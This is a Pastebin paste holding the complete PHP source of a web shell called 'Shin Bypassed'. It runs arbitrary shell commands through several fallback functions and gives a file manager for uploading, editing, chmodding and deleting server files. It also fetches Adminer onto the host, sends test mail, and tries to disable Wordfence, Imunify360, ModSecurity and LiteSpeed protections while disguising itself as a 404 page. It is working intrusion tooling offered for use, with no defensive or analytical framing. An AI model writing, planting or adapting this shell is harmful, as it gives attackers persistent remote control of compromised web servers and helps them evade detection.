Advertisement
willysec_id

Shin Bypassed

Oct 18th, 2023
1,253
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 26.12 KB | Cybersecurity | 0 0
  1. <?php
  2.  
  3. @ini_set('error_log', NULL);
  4. @ini_set('log_errors', 0);
  5. @ini_set('max_execution_time', 0);
  6. @error_reporting(0);
  7. @set_time_limit(0);
  8. @ob_clean();
  9. @header("X-Accel-Buffering: no");
  10. @header("Content-Encoding: none");
  11. @http_response_code(403);
  12. @http_response_code(404);
  13. @http_response_code(500);
  14. //Shin Code - Created 15 July 2023
  15. //jan di ganti ganti ntar error aoakwkwk
  16. //Recode aja  banh penting ga cuma ganti copyright :')
  17. function getFileDetails($path)
  18. {
  19.     $folders = [];
  20.     $files = [];
  21.  
  22.     try {
  23.         $items = @scandir($path);
  24.         if (!is_array($items)) {
  25.             throw new Exception('Failed to scan directory');
  26.         }
  27.  
  28.         foreach ($items as $item) {
  29.             if ($item == '.' || $item == '..') {
  30.                 continue;
  31.             }
  32.  
  33.             $itemPath = $path . '/' . $item;
  34.             $itemDetails = [
  35.                 'name' => $item,
  36.                 'type' => is_dir($itemPath) ? 'Folder' : 'File',
  37.                 'size' => is_dir($itemPath) ? '' : formatSize(filesize($itemPath)),
  38.                 'permission' => substr(sprintf('%o', fileperms($itemPath)), -4),
  39.             ];
  40.             if (is_dir($itemPath)) {
  41.                 $folders[] = $itemDetails;
  42.             } else {
  43.                 $files[] = $itemDetails;
  44.             }
  45.         }
  46.  
  47.         return array_merge($folders, $files);
  48.     } catch (Exception $e) {
  49.         return 'None';
  50.     }
  51. }
  52.  
  53. function formatSize($size)
  54. {
  55.     $units = array('B', 'KB', 'MB', 'GB', 'TB');
  56.     $i = 0;
  57.     while ($size >= 1024 && $i < 4) {
  58.         $size /= 1024;
  59.         $i++;
  60.     }
  61.     return round($size, 2) . ' ' . $units[$i];
  62. }
  63. //cmd fitur
  64. function executeCommand($command)
  65. {
  66.     $currentDirectory = getCurrentDirectory();
  67.     $command = "cd $currentDirectory && $command";
  68.  
  69.     $output = '';
  70.     $error = '';
  71.  
  72.     // proc_open
  73.     $descriptors = [
  74.         0 => ['pipe', 'r'],
  75.         1 => ['pipe', 'w'],
  76.         2 => ['pipe', 'w'],
  77.     ];
  78.  
  79.     $process = @proc_open($command, $descriptors, $pipes);
  80.  
  81.     if (is_resource($process)) {
  82.         fclose($pipes[0]);
  83.  
  84.         $output = stream_get_contents($pipes[1]);
  85.         fclose($pipes[1]);
  86.  
  87.         $error = stream_get_contents($pipes[2]);
  88.         fclose($pipes[2]);
  89.  
  90.         $returnValue = proc_close($process);
  91.  
  92.         $output = trim($output);
  93.         $error = trim($error);
  94.  
  95.         if ($returnValue === 0 && !empty($output)) {
  96.             return $output;
  97.         } elseif (!empty($error)) {
  98.             return 'Error: ' . $error;
  99.         }
  100.     }
  101.  
  102.     // shell_exec
  103.     $shellOutput = @shell_exec($command);
  104.     if ($shellOutput !== null) {
  105.         $output = trim($shellOutput);
  106.         if (!empty($output)) {
  107.             return $output;
  108.         }
  109.     } else {
  110.         $error = error_get_last();
  111.         if (!empty($error)) {
  112.             return 'Error: ' . $error['message'];
  113.         }
  114.     }
  115.  
  116.     // exec
  117.     @exec($command, $execOutput, $execStatus);
  118.     if ($execStatus === 0) {
  119.         $output = implode(PHP_EOL, $execOutput);
  120.         if (!empty($output)) {
  121.             return $output;
  122.         }
  123.     } else {
  124.         return 'Error: Command execution failed.';
  125.     }
  126.  
  127.     // passthru
  128.     ob_start();
  129.     @passthru($command, $passthruStatus);
  130.     $passthruOutput = ob_get_clean();
  131.     if ($passthruStatus === 0) {
  132.         $output = $passthruOutput;
  133.         if (!empty($output)) {
  134.             return $output;
  135.         }
  136.     } else {
  137.         return 'Error: Command execution failed.';
  138.     }
  139.  
  140.     // system
  141.     ob_start();
  142.     @system($command, $systemStatus);
  143.     $systemOutput = ob_get_clean();
  144.     if ($systemStatus === 0) {
  145.         $output = $systemOutput;
  146.         if (!empty($output)) {
  147.             return $output;
  148.         }
  149.     } else {
  150.         return 'Error: Command execution failed.';
  151.     }
  152.  
  153.     return 'Error: Command execution failed.';
  154. }
  155. function readFileContent($file)
  156. {
  157.     return file_get_contents($file);
  158. }
  159.  
  160. function saveFileContent($file)
  161. {
  162.     if (isset($_POST['content'])) {
  163.         return file_put_contents($file, $_POST['content']) !== false;
  164.     }
  165.     return false;
  166. }
  167. //upfile
  168. function uploadFile($targetDirectory)
  169. {
  170.     if (isset($_FILES['file'])) {
  171.         $currentDirectory = getCurrentDirectory();
  172.         $targetFile = $targetDirectory . '/' . basename($_FILES['file']['name']);
  173.         if ($_FILES['file']['size'] === 0) {
  174.             return 'Open Ur Eyes Bitch !!!.';
  175.         } else {
  176.         if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
  177.             return 'File uploaded successfully.';
  178.         } else {
  179.             return 'Error uploading file.';
  180.         }
  181.     }
  182.     return '';
  183. }
  184. }
  185. //dir
  186. function changeDirectory($path)
  187. {
  188.     if ($path === '..') {
  189.         @chdir('..');
  190.     } else {
  191.         @chdir($path);
  192.     }
  193. }
  194.  
  195. function getCurrentDirectory()
  196. {
  197.     return realpath(getcwd());
  198. }
  199.  
  200. //open file juga folder
  201. function getLink($path, $name)
  202. {
  203.     if (is_dir($path)) {
  204.         return '<a href="?dir=' . urlencode($path) . '">' . $name . '</a>';
  205.     } elseif (is_file($path)) {
  206.         return '<a href="?dir=' . urlencode(dirname($path)) . '&amp;read=' . urlencode($path) . '">' . $name . '</a>';
  207.  
  208.     }
  209. }
  210. function getDirectoryArray($path)
  211. {
  212.     $directories = explode('/', $path);
  213.     $directoryArray = [];
  214.     $currentPath = '';
  215.     foreach ($directories as $directory) {
  216.         if (!empty($directory)) {
  217.             $currentPath .= '/' . $directory;
  218.             $directoryArray[] = [
  219.                 'path' => $currentPath,
  220.                 'name' => $directory,
  221.             ];
  222.         }
  223.     }
  224.     return $directoryArray;
  225. }
  226.  
  227.  
  228. function showBreadcrumb($path)
  229. {
  230.     $path = str_replace('\\', '/', $path);
  231.     $paths = explode('/', $path);
  232.     ?>
  233.     <div class="breadcrumb">
  234.         <?php foreach ($paths as $id => $pat) { ?>
  235.             <?php if ($pat == '' && $id == 0) { ?>
  236.              DIR : <a href="?dir=/">/</a>
  237.             <?php } ?>
  238.             <?php if ($pat == '') {
  239.                 continue;
  240.             } ?>
  241.             <?php $linkPath = implode('/', array_slice($paths, 0, $id + 1)); ?>
  242.             <a href="?dir=<?php echo urlencode($linkPath); ?>"><?php echo $pat; ?></a>/
  243.         <?php } ?>
  244.     </div>
  245.     <?php
  246. }
  247.  
  248.  
  249. //tabel biar keren
  250. function showFileTable($path)
  251. {
  252.     $fileDetails = getFileDetails($path);
  253.     ?>
  254.     <table>
  255.         <tr>
  256.             <th>Name</th>
  257.             <th>Type</th>
  258.             <th>Size</th>
  259.             <th>Permission</th>
  260.             <th>Actions</th>
  261.         </tr>
  262.         <?php if (is_array($fileDetails)) { ?>
  263.             <?php foreach ($fileDetails as $fileDetail) { ?>
  264.                 <tr>
  265.                     <td><?php echo getLink($path . '/' . $fileDetail['name'], $fileDetail['name']); ?></td>
  266.                    
  267.                     <td><?php echo $fileDetail['type']; ?></td>
  268.                     <td><?php echo $fileDetail['size']; ?></td>
  269.                     <td>
  270.                         <?php
  271.                         $permissionColor = is_writable($path . '/' . $fileDetail['name']) ? 'green' : 'red';
  272.                         ?>
  273.                         <span style="color: <?php echo $permissionColor; ?>"><?php echo $fileDetail['permission']; ?></span>
  274.                         </td>
  275.                     <td>
  276.                            
  277.                         <?php if ($fileDetail['type'] === 'File') { ?>
  278.                             <div class="dropdown">
  279.                                 <button class="dropbtn">Actions</button>
  280.                                 <div class="dropdown-content">
  281.                                     <a href="?dir=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($path . '/' . $fileDetail['name']); ?>">Edit</a>
  282.                                     <a href="?dir=<?php echo urlencode($path); ?>&rename=<?php echo urlencode($fileDetail['name']); ?>">Rename</a>
  283.                                     <a href="?dir=<?php echo urlencode($path); ?>&chmod=<?php echo urlencode($fileDetail['name']); ?>">Chmod</a>
  284.                                     <a href="?dir=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($fileDetail['name']); ?>">Delete</a>
  285.                                  </div>
  286.                                </div>
  287.                         <?php } ?>
  288.                         <?php if ($fileDetail['type'] === 'Folder') { ?>
  289.                             <div class="dropdown">
  290.                                 <button class="dropbtn">Actions</button>
  291.                                 <div class="dropdown-content">
  292.                                     <a href="?dir=<?php echo urlencode($path); ?>&rename=<?php echo urlencode($fileDetail['name']); ?>">Rename</a>
  293.                                     <a href="?dir=<?php echo urlencode($path); ?>&chmod=<?php echo urlencode($fileDetail['name']); ?>">Chmod</a>
  294.                                     <a href="?dir=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($fileDetail['name']); ?>">Delete</a>
  295.                                 </div>
  296.                              </div>
  297.                         <?php } ?>
  298.                     </td>
  299.                 </tr>
  300.             <?php } ?>
  301.         <?php } else { ?>
  302.             <tr>
  303.                 <td colspan="5">None</td>
  304.             </tr>
  305.         <?php } ?>
  306.     </table>
  307.     <?php
  308. }
  309. //chmod
  310. function changePermission($path)
  311. {
  312.     if (!file_exists($path)) {
  313.         return 'File or directory does not exist.';
  314.     }
  315.  
  316.     $permission = isset($_POST['permission']) ? $_POST['permission'] : '';
  317.    
  318.     if ($permission === '') {
  319.         return 'Invalid permission value.';
  320.     }
  321.  
  322.     if (!is_dir($path) && !is_file($path)) {
  323.         return 'Cannot change permission. Only directories and files can have permissions modified.';
  324.     }
  325.  
  326.     $parsedPermission = intval($permission, 8);
  327.     if ($parsedPermission === 0) {
  328.         return 'Invalid permission value.';
  329.     }
  330.  
  331.     if (chmodRecursive($path, $parsedPermission)) {
  332.         return 'Permission changed successfully.';
  333.     } else {
  334.         return 'Error changing permission.';
  335.     }
  336. }
  337.  
  338.  
  339. function chmodRecursive($path, $permission)
  340. {
  341.     if (is_dir($path)) {
  342.         $items = scandir($path);
  343.         if ($items === false) {
  344.             return false;
  345.         }
  346.  
  347.         foreach ($items as $item) {
  348.             if ($item == '.' || $item == '..') {
  349.                 continue;
  350.             }
  351.  
  352.             $itemPath = $path . '/' . $item;
  353.  
  354.             if (is_dir($itemPath)) {
  355.                 if (!chmod($itemPath, $permission)) {
  356.                     return false;
  357.                 }
  358.  
  359.                 if (!chmodRecursive($itemPath, $permission)) {
  360.                     return false;
  361.                 }
  362.             } else {
  363.                 if (!chmod($itemPath, $permission)) {
  364.                     return false;
  365.                 }
  366.             }
  367.         }
  368.     } else {
  369.         if (!chmod($path, $permission)) {
  370.             return false;
  371.         }
  372.     }
  373.  
  374.     return true;
  375. }
  376.  
  377. //rename
  378. function renameFile($oldName, $newName)
  379. {
  380.     if (file_exists($oldName)) {
  381.         $directory = dirname($oldName);
  382.         $newPath = $directory . '/' . $newName;
  383.         if (rename($oldName, $newPath)) {
  384.             return 'File or folder renamed successfully.';
  385.         } else {
  386.             return 'Error renaming file or folder.';
  387.         }
  388.     } else {
  389.         return 'File or folder does not exist.';
  390.     }
  391. }
  392.  
  393. //delete
  394. function deleteFile($file)
  395. {
  396.     if (file_exists($file)) {
  397.         if (unlink($file)) {
  398.             return 'File deleted successfully.' . $file;
  399.         } else {
  400.             return 'Error deleting file.';
  401.         }
  402.     } else {
  403.         return 'File does not exist.';
  404.     }
  405. }
  406.  
  407. function deleteFolder($folder)
  408. {
  409.     if (is_dir($folder)) {
  410.         $files = glob($folder . '/*');
  411.         foreach ($files as $file) {
  412.             is_dir($file) ? deleteFolder($file) : unlink($file);
  413.         }
  414.         if (rmdir($folder)) {
  415.             return 'Folder deleted successfully.' . $folder;
  416.         } else {
  417.             return 'Error deleting folder.';
  418.         }
  419.     } else {
  420.         return 'Folder does not exist.';
  421.     }
  422. }
  423. //main logic directory
  424. $currentDirectory = getCurrentDirectory();
  425. $errorMessage = '';
  426. $responseMessage = '';
  427.  
  428. if (isset($_GET['dir'])) {
  429.     changeDirectory($_GET['dir']);
  430.     $currentDirectory = getCurrentDirectory();
  431. }
  432. //edit
  433. if (isset($_GET['edit'])) {
  434.     $file = $_GET['edit'];
  435.     $content = readFileContent($file);
  436.     if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  437.         $saved = saveFileContent($file);
  438.         if ($saved) {
  439.             $responseMessage = 'File saved successfully.' . $file;
  440.         } else {
  441.             $errorMessage = 'Error saving file.';
  442.         }
  443.     }
  444. }
  445.  
  446. if (isset($_GET['chmod'])) {
  447.     $file = $_GET['chmod'];
  448.     if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  449.         $responseMessage = changePermission($file);
  450.     }
  451. }
  452.  
  453. if (isset($_POST['upload'])) {
  454.     $responseMessage = uploadFile($currentDirectory);
  455. }
  456.  
  457. if (isset($_POST['cmd'])) {
  458.     $cmdOutput = executeCommand($_POST['cmd']);
  459. }
  460.  
  461. if (isset($_GET['rename'])) {
  462.     $file = $_GET['rename'];
  463.     if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  464.         $newName = $_POST['new_name'];
  465.         if (is_file($file) || is_dir($file)) {
  466.             $responseMessage = renameFile($file, $newName);
  467.         } else {
  468.             $errorMessage = 'File or folder does not exist.';
  469.         }
  470.     }
  471. }
  472.  
  473. if (isset($_GET['delete'])) {
  474.     $file = $_GET['delete'];
  475.     if ($_SERVER['REQUEST_METHOD'] === 'GET') {
  476.         $currentDirectory = getCurrentDirectory();
  477.         if (is_file($file)) {
  478.             $responseMessage = deleteFile($file);
  479.             echo "<script>alert('File dihapus');window.location='?dir=" . urlencode($currentDirectory) . "';</script>";
  480.             exit;
  481.         } elseif (is_dir($file)) {
  482.             $responseMessage = deleteFolder($file);
  483.             echo "<script>alert('Folder dihapus');window.location='?dir=" . urlencode($currentDirectory) . "';</script>";
  484.             exit;
  485.         } else {
  486.             $errorMessage = 'File or folder does not exist.';
  487.         }
  488.     }
  489. }
  490. //panggil adminer
  491. if (isset($_POST['Summon'])) {
  492.     $baseUrl = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php';
  493.     $currentPath = getCurrentDirectory();
  494.  
  495.     $fileUrl = $baseUrl;
  496.     $fileName = 'Adminer.php';
  497.  
  498.     $filePath = $currentPath . '/' . $fileName;
  499.  
  500.     $fileContent = @file_get_contents($fileUrl);
  501.     if ($fileContent !== false) {
  502.         if (file_put_contents($filePath, $fileContent) !== false) {
  503.      
  504.             $responseMessage = 'File "' . $fileName . '" summoned successfully. <a href="' . $filePath . '">' . $filePath . '</a>';            
  505.         } else {
  506.             $errorMessage = 'Failed to save the summoned file.';
  507.         }
  508.     } else {
  509.         $errorMessage = 'Failed to fetch the file content. None File';
  510.     }
  511. }
  512. // katanya bypass
  513. if (function_exists('litespeed_request_headers')) {
  514.     $headers = litespeed_request_headers();
  515.     if (isset($headers['X-LSCACHE'])) {
  516.         header('X-LSCACHE: off');
  517.     }
  518. }
  519.  
  520. if (defined('WORDFENCE_VERSION')) {
  521.     define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true);
  522.     define('WORDFENCE_DISABLE_FILE_MODS', true);
  523. }
  524.  
  525. if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) {
  526.     $imunifyHeaders = imunify360_request_headers();
  527.     if (isset($imunifyHeaders['X-Imunify360-Request'])) {
  528.         header('X-Imunify360-Request: bypass');
  529.     }
  530.     if (isset($imunifyHeaders['X-Imunify360-Captcha-Bypass'])) {
  531.         header('X-Imunify360-Captcha-Bypass: ' . $imunifyHeaders['X-Imunify360-Captcha-Bypass']);
  532.     }
  533. }
  534.  
  535.  
  536. if (function_exists('apache_request_headers')) {
  537.     $apacheHeaders = apache_request_headers();
  538.     if (isset($apacheHeaders['X-Mod-Security'])) {
  539.         header('X-Mod-Security: ' . $apacheHeaders['X-Mod-Security']);
  540.     }
  541. }
  542.  
  543. if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) {
  544.     $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
  545.     if (isset($apacheHeaders['HTTP_CF_VISITOR'])) {
  546.         header('HTTP_CF_VISITOR: ' . $apacheHeaders['HTTP_CF_VISITOR']);
  547.     }
  548. }
  549. ?>
  550. <!DOCTYPE html>
  551. <html>
  552. <head>
  553.     <title>404</title>
  554.   <link rel="stylesheet" href="https://rawcdn.githack.com/Jenderal92/Blog-Gan/63073e604b81df6337c1917990a7330d46b22ae9/ganteng.css">  
  555. </head>
  556. <body>
  557.     <div class="container">
  558.         <h1>[ Shin Bypassed ]</h1>
  559.         <div class="menu-icon" onclick="toggleSidebar()"></div>
  560.         <hr>
  561.         <div class="button-container">
  562.             <form method="post" style="display: inline-block;">
  563.                 <input type="submit" name="Summon" value="Adminer" class="summon-button">
  564.             </form>
  565.             <button type="button" onclick="window.location.href='?gas'" class="summon-button">Mail Test</button>
  566.         </div>
  567.        
  568.  
  569.         <?php
  570.         //mailer
  571.         if (isset($_GET['gas'])) {
  572.             if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  573.                 if (!empty($_POST['email'])) {
  574.                     $xx = rand();
  575.                     if (mail($_POST['email'], "Shin Mailer Test - " . $xx, "Shin Ganteng")) {
  576.                         echo "<b>Send a report to [" . $_POST['email'] . "] - $xx</b>";
  577.                     } else {
  578.                         echo "Failed to send the email.";
  579.                     }
  580.                 } else {
  581.                     echo "Please provide an email address.";
  582.                 }
  583.             } else {
  584.         ?>
  585.                 <h2>Mail Test :</h2>
  586.                 <form method="post">
  587.                     <input type="text" name="email" placeholder="Enter email" required>
  588.                     <input type="submit" value="Send test &raquo;">
  589.                 </form>
  590.         <?php
  591.             }
  592.         }
  593.         ?>
  594.  
  595.         <?php if (!empty($errorMessage)) { ?>
  596.             <p style="color: red;"><?php echo $errorMessage; ?></p>
  597.         <?php } ?>
  598.  
  599.         <hr>
  600.  
  601.         <div class="upload-cmd-container">
  602.             <div class="upload-form">
  603.                 <h2>Upload:</h2>
  604.                 <form method="post" enctype="multipart/form-data">
  605.                     <input type="file" name="file">
  606.                     <button class="button" type="submit" name="upload">Upload</button>
  607.                 </form>
  608.             </div>
  609.  
  610.             <div class="cmd-form">
  611.                 <h2>Command:</h2>
  612.                 <form method="post">
  613.                     <?php echo @get_current_user() . "@" . @$_SERVER['REMOTE_ADDR'] . ": ~ $"; ?><input type='text' size='30' height='10' name='cmd'>
  614.                     <input type="submit" class="empty-button">
  615.  
  616.                 </form>
  617.             </div>
  618.         </div>
  619.         <?php
  620.         if (isset($_GET['read'])) {
  621.             $file = $_GET['read'];
  622.             $content = readFileContent($file);
  623.             if ($content !== false) {
  624.                 echo '<div class="command-output">';
  625.                 echo '<pre>' . htmlspecialchars($content) . '</pre>';
  626.                 echo '</div>';
  627.             } else {
  628.                 echo 'Failed to read the file.';
  629.                 }
  630.               }
  631.            ?>
  632.         <?php if (!empty($cmdOutput)) { ?>
  633.             <h3>Command Output:</h3>
  634.             <div class="command-output">
  635.                 <pre><?php echo htmlspecialchars($cmdOutput); ?></pre>
  636.             </div>
  637.         <?php } ?>
  638.  
  639.         <?php if (!empty($responseMessage)) { ?>
  640.             <p class="response-message" style="color: green;"><?php echo $responseMessage; ?></p>
  641.         <?php } ?>            
  642.         <?php if (isset($_GET['rename'])) { ?>
  643.         <div class="rename-form">
  644.             <h2>Rename File or Folder: <?php echo basename($file); ?></h2>
  645.             <form method="post">
  646.                 <input type="text" name="new_name" placeholder="New Name" required>
  647.                 <br>
  648.                 <input type="submit" value="Rename" class="button">
  649.                 <a href="?dir=<?php echo urlencode(dirname($file)); ?>" class="button">Cancel</a>
  650.             </form>
  651.         </div>
  652.         <?php } ?>
  653.         <?php if (isset($_GET['edit'])) { ?>
  654.             <div class="edit-file">
  655.                 <h2>Edit File: <?php echo basename($file); ?></h2>
  656.                 <form method="post">
  657.                     <textarea name="content" rows="10" cols="50"><?php echo htmlspecialchars($content); ?></textarea><br>
  658.                     <button class="button" type="submit">Save</button>
  659.                 </form>
  660.             </div>
  661.         <?php } elseif (isset($_GET['chmod'])) { ?>
  662.             <div class="change-permission">
  663.                 <h2>Change Permission: <?php echo basename($file); ?></h2>
  664.                 <form method="post">
  665.                     <input type="hidden" name="chmod" value="<?php echo urlencode($file); ?>">
  666.                     <input type="text" name="permission" placeholder="Enter permission (e.g., 0770)">
  667.                     <button class="button" type="submit">Change</button>
  668.                 </form>
  669.             </div>
  670.         <?php } ?>
  671.         <hr>
  672.  
  673.         <?php
  674.         echo '<h2>Filemanager</h2>';
  675.         showBreadcrumb($currentDirectory);
  676.         showFileTable($currentDirectory);
  677.         ?>
  678.     </div>
  679. <div class="sidebar" id="sidebar">
  680.     <div class="sidebar-content">
  681.         <div class="sidebar-close">
  682.             <button onclick="toggleSidebar()">Close</button>
  683.         </div>
  684.         <div class="info-container">
  685.             <h2>Server Info</h2>
  686.             <?php
  687.             function countDomainsInServer()
  688.             {
  689.                 $serverName = $_SERVER['SERVER_NAME'];
  690.                 $ipAddresses = @gethostbynamel($serverName);
  691.  
  692.                 if ($ipAddresses !== false) {
  693.                     return count($ipAddresses);
  694.                 } else {
  695.                     return 0;
  696.                 }
  697.             }
  698.  
  699.             $domainCount = @countDomainsInServer();
  700.  
  701.             function formatBytes($bytes, $precision = 2)
  702.             {
  703.                 $units = array('B', 'KB', 'MB', 'GB', 'TB');
  704.  
  705.                 $bytes = max($bytes, 0);
  706.                 $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
  707.                 $pow = min($pow, count($units) - 1);
  708.  
  709.                 $bytes /= (1 << (10 * $pow));
  710.  
  711.                 return round($bytes, $precision) . ' ' . $units[$pow];
  712.             }
  713.             ?>
  714.  
  715.             <ul class="info-list">
  716.                 <li>Hostname: <?php echo @gethostname(); ?></li>
  717.                 <?php if (isset($_SERVER['SERVER_ADDR'])) : ?>
  718.                     <li>IP Address: <?php echo $_SERVER['SERVER_ADDR']; ?></li>
  719.                 <?php endif; ?>
  720.                 <li>PHP Version: <?php echo @phpversion(); ?></li>
  721.                 <li>Server Software: <?php echo $_SERVER['SERVER_SOFTWARE']; ?></li>
  722.                 <?php if (function_exists('disk_total_space')) : ?>
  723.                     <li>HDD Total Space: <?php echo @formatBytes(disk_total_space('/')); ?></li>
  724.                     <li>HDD Free Space: <?php echo @formatBytes(disk_free_space('/')); ?></li>
  725.                 <?php endif; ?>
  726.                 <li>Total Domains in Server: <?php echo $domainCount; ?></li>
  727.                 <li>System: <?php echo @php_uname(); ?></li>
  728.             </ul>
  729.         </div>
  730.  
  731.         <div class="info-container">
  732.             <h2>System Info</h2>
  733.             <ul class="info-list">
  734.                 <?php
  735.                 $features = [
  736.                     'Safe Mode' => ini_get('safe_mode') ? 'Enabled' : 'Disabled',
  737.                     'Disable Functions' => ini_get('disable_functions'),
  738.                     'GCC' => function_exists('shell_exec') && shell_exec('gcc --version') ? 'On' : 'Off',
  739.                     'Perl' => function_exists('shell_exec') && shell_exec('perl --version') ? 'On' : 'Off',
  740.                     'Python Version' => ($pythonVersion = shell_exec('python --version')) ? 'On (' . $pythonVersion . ')' : 'Off',
  741.                     'PKEXEC Version' => ($pkexecVersion = shell_exec('pkexec --version')) ? 'On (' . $pkexecVersion . ')' : 'Off',
  742.                     'Curl' => function_exists('shell_exec') && shell_exec('curl --version') ? 'On' : 'Off',
  743.                     'Wget' => function_exists('shell_exec') && shell_exec('wget --version') ? 'On' : 'Off',
  744.                     'Mysql' => function_exists('shell_exec') && shell_exec('mysql --version') ? 'On' : 'Off',
  745.                     'Ftp' => function_exists('shell_exec') && shell_exec('ftp --version') ? 'On' : 'Off',
  746.                     'Ssh' => function_exists('shell_exec') && shell_exec('ssh --version') ? 'On' : 'Off',
  747.                     'Mail' => function_exists('shell_exec') && shell_exec('mail --version') ? 'On' : 'Off',
  748.                     'cron' => function_exists('shell_exec') && shell_exec('cron --version') ? 'On' : 'Off',
  749.                     'SendMail' => function_exists('shell_exec') && shell_exec('sendmail --version') ? 'On' : 'Off',
  750.                 ];
  751.                 ?>
  752.  
  753.                 <label for="feature-select">Select Feature:</label>
  754.                 <select id="feature-select">
  755.                     <?php foreach ($features as $feature => $status) : ?>
  756.                         <option value="<?php echo $feature; ?>"><?php echo $feature . ': ' . $status; ?></option>
  757.                     <?php endforeach; ?>
  758.                 </select>
  759.             </ul>
  760.         </div>
  761.  
  762.         <div class="info-container">
  763.             <h2>User Info</h2>
  764.             <ul class="info-list">
  765.                 <li>Username: <?php echo @get_current_user(); ?></li>
  766.                 <li>User ID: <?php echo @getmyuid(); ?></li>
  767.                 <li>Group ID: <?php echo @getmygid(); ?></li>
  768.             </ul>
  769.         </div>
  770.     </div>
  771. </div>
  772.     <script>
  773.         function toggleOptionsMenu() {
  774.             var optionsMenu = document.getElementById('optionsMenu');
  775.             optionsMenu.classList.toggle('show');
  776.         }
  777.        
  778.         function toggleSidebar() {
  779.             var sidebar = document.getElementById('sidebar');
  780.             sidebar.classList.toggle('open');
  781.         }
  782.     </script>
  783. </div>
  784. <div class="footer">
  785.     <p>&copy; <?php echo date("Y"); ?> <a href="https://www.blog-gan.org/">Coded By</a> Shin Code.</p>
  786. </div>
  787. </body>
  788. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement